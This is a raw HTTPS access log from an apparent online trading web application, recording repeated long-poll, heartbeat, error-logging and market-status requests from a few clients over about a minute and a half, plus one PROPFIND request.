[09/Jan/2026:15:40:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:40:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:40:37 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:40:37 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:40:37 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944707849 HTTP/1.1" -
[09/Jan/2026:15:40:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944709178 HTTP/1.1" -
[09/Jan/2026:15:40:40 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944709823 HTTP/1.1" -
[09/Jan/2026:15:40:40 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944710885 HTTP/1.1" -
[09/Jan/2026:15:40:42 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944712881 HTTP/1.1" -
[09/Jan/2026:15:40:45 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944714848 HTTP/1.1" -
[09/Jan/2026:15:40:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944714272 HTTP/1.1" -
[09/Jan/2026:15:40:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944716892 HTTP/1.1" -
[09/Jan/2026:15:40:48 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944717913 HTTP/1.1" -
[09/Jan/2026:15:40:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944719903 HTTP/1.1" -
[09/Jan/2026:15:40:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944719415 HTTP/1.1" -
[09/Jan/2026:15:40:52 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944722888 HTTP/1.1" -
[09/Jan/2026:15:40:53 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944722964 HTTP/1.1" -
[09/Jan/2026:15:40:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944724939 HTTP/1.1" -
[09/Jan/2026:15:40:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944724598 HTTP/1.1" -
[09/Jan/2026:15:40:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:40:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:40:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:40:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:40:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:40:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:40:58 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944728002 HTTP/1.1" -
[09/Jan/2026:15:40:58 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:40:58 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:40:58 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:40:58 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:40:58 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944728879 HTTP/1.1" -
[09/Jan/2026:15:41:00 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944729981 HTTP/1.1" -
[09/Jan/2026:15:41:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944729776 HTTP/1.1" -
[09/Jan/2026:15:41:02 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:41:02 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:41:03 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944733064 HTTP/1.1" -
[09/Jan/2026:15:41:04 +0800] 204.76.203.8 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PROPFIND / HTTP/1.1" 225
[09/Jan/2026:15:41:05 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944734895 HTTP/1.1" -
[09/Jan/2026:15:41:05 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944735013 HTTP/1.1" -
[09/Jan/2026:15:41:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944734868 HTTP/1.1" -
[09/Jan/2026:15:41:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:41:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:41:07 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:41:07 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:41:08 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944738099 HTTP/1.1" -
[09/Jan/2026:15:41:10 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944740057 HTTP/1.1" -
[09/Jan/2026:15:41:11 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944740890 HTTP/1.1" -
[09/Jan/2026:15:41:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944740001 HTTP/1.1" -
[09/Jan/2026:15:41:13 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944743167 HTTP/1.1" -
[09/Jan/2026:15:41:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944745091 HTTP/1.1" -
[09/Jan/2026:15:41:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944745066 HTTP/1.1" -
[09/Jan/2026:15:41:16 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944746892 HTTP/1.1" -
[09/Jan/2026:15:41:18 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944748200 HTTP/1.1" -
[09/Jan/2026:15:41:20 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944750132 HTTP/1.1" -
[09/Jan/2026:15:41:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944750212 HTTP/1.1" -
[09/Jan/2026:15:41:23 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944752882 HTTP/1.1" -
[09/Jan/2026:15:41:23 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944753232 HTTP/1.1" -
[09/Jan/2026:15:41:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944755167 HTTP/1.1" -
[09/Jan/2026:15:41:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944755347 HTTP/1.1" -
[09/Jan/2026:15:41:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:41:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:41:28 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:41:28 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:41:28 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:41:28 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:41:28 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944758267 HTTP/1.1" -
[09/Jan/2026:15:41:29 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944758884 HTTP/1.1" -
[09/Jan/2026:15:41:30 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944760227 HTTP/1.1" -
[09/Jan/2026:15:41:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944760517 HTTP/1.1" -
[09/Jan/2026:15:41:32 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:41:32 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:41:33 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944763303 HTTP/1.1" -
[09/Jan/2026:15:41:34 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944764887 HTTP/1.1" -
[09/Jan/2026:15:41:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944765256 HTTP/1.1" -
[09/Jan/2026:15:41:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944765570 HTTP/1.1" -
[09/Jan/2026:15:41:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:41:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:41:37 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:41:37 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:41:38 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944768332 HTTP/1.1" -
[09/Jan/2026:15:41:40 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944770297 HTTP/1.1" -
[09/Jan/2026:15:41:40 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944770891 HTTP/1.1" -
[09/Jan/2026:15:41:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944770752 HTTP/1.1" -
[09/Jan/2026:15:41:43 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944773370 HTTP/1.1" -
[09/Jan/2026:15:41:45 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944775316 HTTP/1.1" -
[09/Jan/2026:15:41:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944775807 HTTP/1.1" -
[09/Jan/2026:15:41:46 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944776882 HTTP/1.1" -
[09/Jan/2026:15:41:48 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944778411 HTTP/1.1" -
[09/Jan/2026:15:41:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944780359 HTTP/1.1" -
[09/Jan/2026:15:41:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944780863 HTTP/1.1" -
[09/Jan/2026:15:41:52 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944782884 HTTP/1.1" -
